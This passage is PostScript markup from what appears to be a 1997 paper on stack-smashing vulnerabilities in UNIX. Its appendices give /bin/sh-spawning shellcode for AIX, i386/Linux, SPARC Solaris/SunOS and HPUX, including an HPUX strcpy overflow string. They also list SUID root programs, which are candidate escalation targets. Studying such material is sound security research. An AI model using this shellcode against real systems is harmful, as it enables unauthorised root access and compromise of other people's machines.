(n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2451 M (d)S -0.400 0 (e)A (v)S -0.400 0 (e)A 0.200 0 (l)A 6.000 0 32 (op )W 0.200 0 (m)A (o)S -0.300 0 (r)A 6.400 0 32 -0.400 0 (e )D -0.300 0 (r)A (obu)S 0.100 0 (s)A 5.800 0 32 0.200 0 (t )D -0.400 0 (c)A (od)S 6.400 0 32 -0.400 0 (e )D -0.200 0 (w)A (h)S 0.200 0 (i)A -0.400 0 (c)A 6.000 0 32 (h )W 0.200 0 (i)A 5.900 0 32 0.100 0 (s )D 0.200 0 (l)A -0.400 0 (e)A 5.900 0 32 0.100 0 (ss s)D (u)S 0.100 0 (s)A -0.400 0 (ce)A (p)S 0.200 0 (ti)A (b)S 0.200 0 (l)A 6.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 6.000 0 32 (o )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 6.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S -1.000 0 (g)A 6.000 0 32 (. )W 7.000 0 32 ( )W 0.600 0 (W)A 0.200 0 (it)A 7.000 0 32 (h )W 0.200 0 (t)A (h)S 7.400 0 32 -0.400 0 (e c)D (oop)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (on)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2628 M (o)S 39.300 0 32 -0.300 0 (f )D 0.200 0 (m)A -0.400 0 (a)A (n)S 42.000 0 32 -3.000 0 (y )D (p)S -0.400 0 (e)A (op)S 0.200 0 (l)A 39.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 39.000 0 32 (n d)W 0.200 0 (i)A -0.300 0 (ff)A -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (e)A (n)S 38.800 0 32 0.200 0 (t )D (p)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (t)A 38.900 0 32 0.100 0 (s )D (o)S 39.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 39.400 0 32 -0.400 0 (e )D -0.200 0 (UN)A -2.300 0 (I)A 40.200 0 32 -0.200 0 (X )D -0.400 0 (c)A (o)S 0.200 0 (mm)A (un)S 0.200 0 (it)A -3.000 0 (y)A 40.000 0 32 (, )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 40.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 41.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A -3.000 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2805 M -0.097 0 (vulnerabilities can be defeated.)A ; : 522 5602 2880 94 rc 0 0 0 sco F2_83 Ji 612 5602 M 0.250 0 ( )A ; : 1152 5602 2700 94 rc 0 0 0 sco F2_83 Ji 1242 5602 M 0.250 0 ( )A ; 612 5655 N M 1200 4 rr : 0 0 0 sco O ; : 0 0 4883 6391 rc 0 0 0 sco (F2_33) cvn F2 33 xF F2_33 Ji 612 5702 M 0.500 0 (16)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_67 Ji 646 5705 M 0.211 0 ( POSIX.1e \(formerly POSIX.6\); http://csrc.ncsl.nist.gov/nistpubs/800-7/node203.html)A ; LH savelevel1 restore pagesave restore (%%[ Page: 31 ]%%) = %%PageTrailer %%Page: 32 32 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (32)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_117) cvn F2 117 xF F2_117 Ji 1059 505 M 0.120 0 (Appendix A - Shellcode for Operating Systems/Architectures)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 612 838 M 0.075 0 (AIX Shell Code)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Courier (F5) cvn 0.791 (Courier) cvn /Type1 T (Courier) cvn mF (F5_67) cvn F5 67 xF F5_67 Ji 612 970 M -0.200 0 (unsigned int code[]={)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 1041 M -0.200 0 (0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 1112 M -0.200 0 (0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 1183 M -0.200 0 (0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 1254 M -0.200 0 (0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 1325 M -0.200 0 (0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 1396 M -0.200 0 (0x7c0903a6 , 0x4e800420, 0x0)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 1467 M -0.200 0 (};)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 1609 M -0.200 0 (/* disassembly)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 1680 M -0.200 0 (7c0802a6 mfspr r0,LR)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 1751 M -0.200 0 (9421fbb0 stu SP,-1104\(SP\) --get stack)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 1822 M -0.200 0 (90010458 st r0,1112\(SP\))A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 1893 M -0.200 0 (3c60f019 cau r3,r0,0xf019 --CTR)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 1964 M -0.200 0 (60632c48 lis r3,r3,11336 --CTR)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 2035 M -0.200 0 (90610440 st r3,1088\(SP\))A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 2106 M -0.200 0 (3c60d002 cau r3,r0,0xd002 --TOC)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 2177 M -0.200 0 (60634c0c lis r3,r3,19468 --TOC)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 2248 M -0.200 0 (90610444 st r3,1092\(SP\))A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 2319 M -0.200 0 (3c602f62 cau r3,r0,0x2f62 --'/bin/sh\\x01')A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 2390 M -0.200 0 (6063696e lis r3,r3,26990)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 2461 M -0.200 0 (90610438 st r3,1080\(SP\))A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 2532 M -0.200 0 (3c602f73 cau r3,r0,0x2f73)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 2603 M -0.200 0 (60636801 lis r3,r3,26625)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 2674 M -0.200 0 (3863ffff addi r3,r3,-1)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 2745 M -0.200 0 ( 9061043c st r3,1084\(SP\) --terminate with 0)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 2816 M -0.200 0 (30610438 lis r3,SP,1080)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 2887 M -0.200 0 (7c842278 xor r4,r4,r4 --argv=NULL)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 2958 M -0.200 0 (80410440 lwz RTOC,1088\(SP\))A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 3029 M -0.200 0 (80010444 lwz r0,1092\(SP\) --jump)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 3100 M -0.200 0 (7c0903a6 mtspr CTR,r0)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 3171 M -0.200 0 (4e800420 bctr --jump)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 3242 M -0.200 0 (*/)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 612 3389 M 0.394 0 (i386/Linux)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 3521 M -0.200 0 (jmp 0x1f)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 3592 M -0.200 0 ( popl %esi)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 3663 M -0.200 0 ( movl %esi,0x8\(%esi\))A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 3734 M -0.200 0 ( xorl %eax,%eax)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 3805 M -0.200 0 ( movb %eax,0x7\(%esi\))A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 3876 M -0.200 0 ( movl %eax,0xc\(%esi\))A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 3947 M -0.200 0 ( movb $0xb,%al)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 4018 M -0.200 0 ( movl %esi,%ebx)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 4089 M -0.200 0 ( leal 0x8\(%esi\),%ecx)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 4160 M -0.200 0 ( leal 0xc\(%esi\),%edx)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 4231 M -0.200 0 ( int $0x80)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 4302 M -0.200 0 ( xorl %ebx,%ebx)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 4373 M -0.200 0 ( movl %ebx,%eax)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 4444 M -0.200 0 ( inc %eax)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 4515 M -0.200 0 ( int $0x80)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 4586 M -0.200 0 ( call -0x24)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 4657 M -0.200 0 ( .string \\"/bin/sh\\")A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 612 4804 M 0.138 0 (SPARC/Solaris)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 912 4936 M -0.200 0 (sethi 0xbd89a, %l6)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 5007 M -0.200 0 ( or %l6, 0x16e, %l6)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 5078 M -0.200 0 ( sethi 0xbdcda, %l7)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 5149 M -0.200 0 ( and %sp, %sp, %o0)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 5220 M -0.200 0 ( add %sp, 8, %o1)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 5291 M -0.200 0 ( xor %o2, %o2, %o2)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 5362 M -0.200 0 ( add %sp, 16, %sp)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 5433 M -0.200 0 ( std %l6, [%sp - 16])A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 5504 M -0.200 0 ( st %sp, [%sp - 8])A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 5575 M -0.200 0 ( st %g0, [%sp - 4])A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 5646 M -0.200 0 ( mov 0x3b, %g1)A ; LH savelevel1 restore pagesave restore (%%[ Page: 32 ]%%) = %%PageTrailer %%Page: 33 33 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (33)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Courier (F4) cvn 0.791 (Courier) cvn /Type1 T (Courier) cvn mF (F4_67) cvn F4 67 xF F4_67 Ji 612 500 M -0.200 0 ( ta 8)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 571 M -0.200 0 ( xor %o7, %o7, %o0)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 642 M -0.200 0 ( mov 1, %g1)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 713 M -0.200 0 ( ta 8)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_117) cvn F2 117 xF F2_117 Ji 612 860 M 0.022 0 (SPARC/SunOS)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 912 992 M -0.200 0 (sethi 0xbd89a, %l6)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 1063 M -0.200 0 ( or %l6, 0x16e, %l6)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 1134 M -0.200 0 ( sethi 0xbdcda, %l7)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 1205 M -0.200 0 ( and %sp, %sp, %o0)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 1276 M -0.200 0 ( add %sp, 8, %o1)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 1347 M -0.200 0 ( xor %o2, %o2, %o2)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 1418 M -0.200 0 ( add %sp, 16, %sp)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 1489 M -0.200 0 ( std %l6, [%sp - 16])A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 1560 M -0.200 0 ( st %sp, [%sp - 8])A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 1631 M -0.200 0 ( st %g0, [%sp - 4])A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 1702 M -0.200 0 ( mov 0x3b, %g1)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 1773 M -0.200 0 ( mov -0x1, %l5)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 1844 M -0.200 0 ( ta %l5 + 1)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 1915 M -0.200 0 ( xor %o7, %o7, %o0)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 1986 M -0.200 0 ( mov 1, %g1)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2057 M -0.200 0 ( ta %l5 + 1)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 612 2204 M -0.369 0 (HPUX)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2336 M -0.200 0 (strcpy\(buf,"\\x41\\x41\\x34\\x01\\x01\\x02\\x08\\x22\\x04\\x01\\x60\\x20\\x02\\xa6\\x60\\x20\\x02)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2407 M -0.200 0 (\\xac\\xb4\\x3a\\x02\\x98\\x34\\x16\\x01\\x76\\x34\\x01\\x02\\x76\\x08\\x36\\x02\\x16\\x08\\x21\\x02)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2478 M -0.200 0 (\\x80\\x20\\x20\\x08\\x01\\xe4\\x20\\xe0\\x08\\x08\\x21\\x02\\x80\\x43\\x43\\x43\\x43\\x43\\x43\\x43)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2549 M -0.200 0 (\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2620 M -0.200 0 (\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2691 M -0.200 0 (\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2762 M -0.200 0 (\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2833 M -0.200 0 (\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2904 M -0.200 0 (\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2975 M -0.200 0 (\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 3046 M -0.200 0 (\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x2e\\x2d)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 3117 M -0.200 0 (\\x69\\x2e\\x44\\x44\\x44\\x44\\x44\\x7b\\x03\\x30\\x1b"\);)A ; LH savelevel1 restore pagesave restore (%%[ Page: 33 ]%%) = %%PageTrailer %%Page: 34 34 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (34)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_117) cvn F2 117 xF F2_117 Ji 1327 505 M 0.124 0 (Appendix B - SUID root programs by distribution)A ; : 0 0 4883 6391 rc 0 0 0 sco (F0_100) cvn F0 100 xF F0_100 Ji 762 748 M 0.012 0 (Linux - 2.0.30 #4 Mon May 5 16:40:11 EDT 1997 i586)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Courier (F6) cvn 0.791 (Courier) cvn /Type1 T (Courier) cvn mF (F6_67) cvn F6 67 xF F6_67 Ji 912 921 M -0.200 0 (root@-:~ >find / -user root -perm -004000 -print)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 1028 M -0.200 0 (/usr/bin/fdmount)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 1135 M -0.200 0 (/usr/bin/at)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 1242 M -0.200 0 (/usr/bin/crontab)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 1349 M -0.200 0 (/usr/bin/splitvt)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 1456 M -0.200 0 (/usr/bin/chsh)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 1563 M -0.200 0 (/usr/bin/newgrp)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 1670 M -0.200 0 (/usr/bin/passwd)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 1777 M -0.200 0 (/usr/bin/chfn)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 1884 M -0.200 0 (/usr/bin/sudo.bin)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 1991 M -0.200 0 (/usr/bin/procmail)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 2098 M -0.200 0 (/usr/bin/lpq)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 2205 M -0.200 0 (/usr/bin/lpr)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 2312 M -0.200 0 (/usr/bin/lprm)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 2419 M -0.200 0 (/usr/bin/rcp)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 2526 M -0.200 0 (/usr/bin/rlogin)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 2633 M -0.200 0 (/usr/bin/rsh)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 2740 M -0.200 0 (/usr/bin/traceroute.old)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 2847 M -0.200 0 (/usr/lib/mc/bin/cons.saver)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 2954 M -0.200 0 (/usr/lib/svgalib/fun)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 3061 M -0.200 0 (/usr/lib/svgalib/mousetest)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 3168 M -0.200 0 (/usr/lib/svgalib/scrolltest)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 3275 M -0.200 0 (/usr/lib/svgalib/speedtest)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 3382 M -0.200 0 (/usr/lib/svgalib/testgl)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 3489 M -0.200 0 (/usr/lib/svgalib/testlinear)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 3596 M -0.200 0 (/usr/lib/svgalib/vgatest)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 3703 M -0.200 0 (/usr/lib/svgalib/3d)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 3810 M -0.200 0 (/usr/lib/svgalib/keytest)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 3917 M -0.200 0 (/usr/lib/svgalib/accel)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 4024 M -0.200 0 (/usr/lib/svgalib/eventtest)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 4131 M -0.200 0 (/usr/lib/svgalib/forktest)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 4238 M -0.200 0 (/usr/lib/svgalib/testaccel)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 4345 M -0.200 0 (/usr/lib/newsbin/setnewsids)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 4452 M -0.200 0 (/usr/local/bin/ssh)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 4559 M -0.200 0 (/usr/local/bin/sudo)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 4666 M -0.200 0 (/usr/local/bin/screen-3.7.1)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 4773 M -0.200 0 (/usr/local/bin/dumpreg)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 4880 M -0.200 0 (/usr/local/bin/restorefont)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 4987 M -0.200 0 (/usr/local/bin/restorepalette)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 5094 M -0.200 0 (/usr/local/bin/restoretextmode)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 5201 M -0.200 0 (/usr/local/sbin/traceroute)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 5308 M -0.200 0 (/usr/sbin/pppd-2.2)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 5415 M -0.200 0 (/usr/sbin/sendmail)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 5522 M -0.200 0 (/usr/sbin/sliplogin)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_67 Ji 912 5629 M -0.200 0 (/usr/X11R6/bin/xload)A ; LH savelevel1 restore pagesave restore (%%[ Page: 34 ]%%) = %%PageTrailer %%Page: 35 35 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (35)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Courier (F4) cvn 0.791 (Courier) cvn /Type1 T (Courier) cvn mF (F4_67) cvn F4 67 xF F4_67 Ji 912 500 M -0.200 0 (/usr/X11R6/bin/xterm)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 912 607 M -0.200 0 (/usr/X11R6/bin/color_xterm)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 912 714 M -0.200 0 (/usr/X11R6/bin/XF86_S3)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 912 821 M -0.200 0 (/usr/X11R6/bin/xosview)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 912 928 M -0.200 0 (/usr/X11R6/bin/XF86_S3.old2)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 912 1035 M -0.200 0 (/usr/X11R6/bin/Xaccel)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 912 1142 M -0.200 0 (/var/X11R6/lib/AcceleratedX/arch/LINUX/Xaccel)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 912 1249 M -0.200 0 (/var/X11R6/lib/AcceleratedX/bin/Xaccel)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 912 1356 M -0.200 0 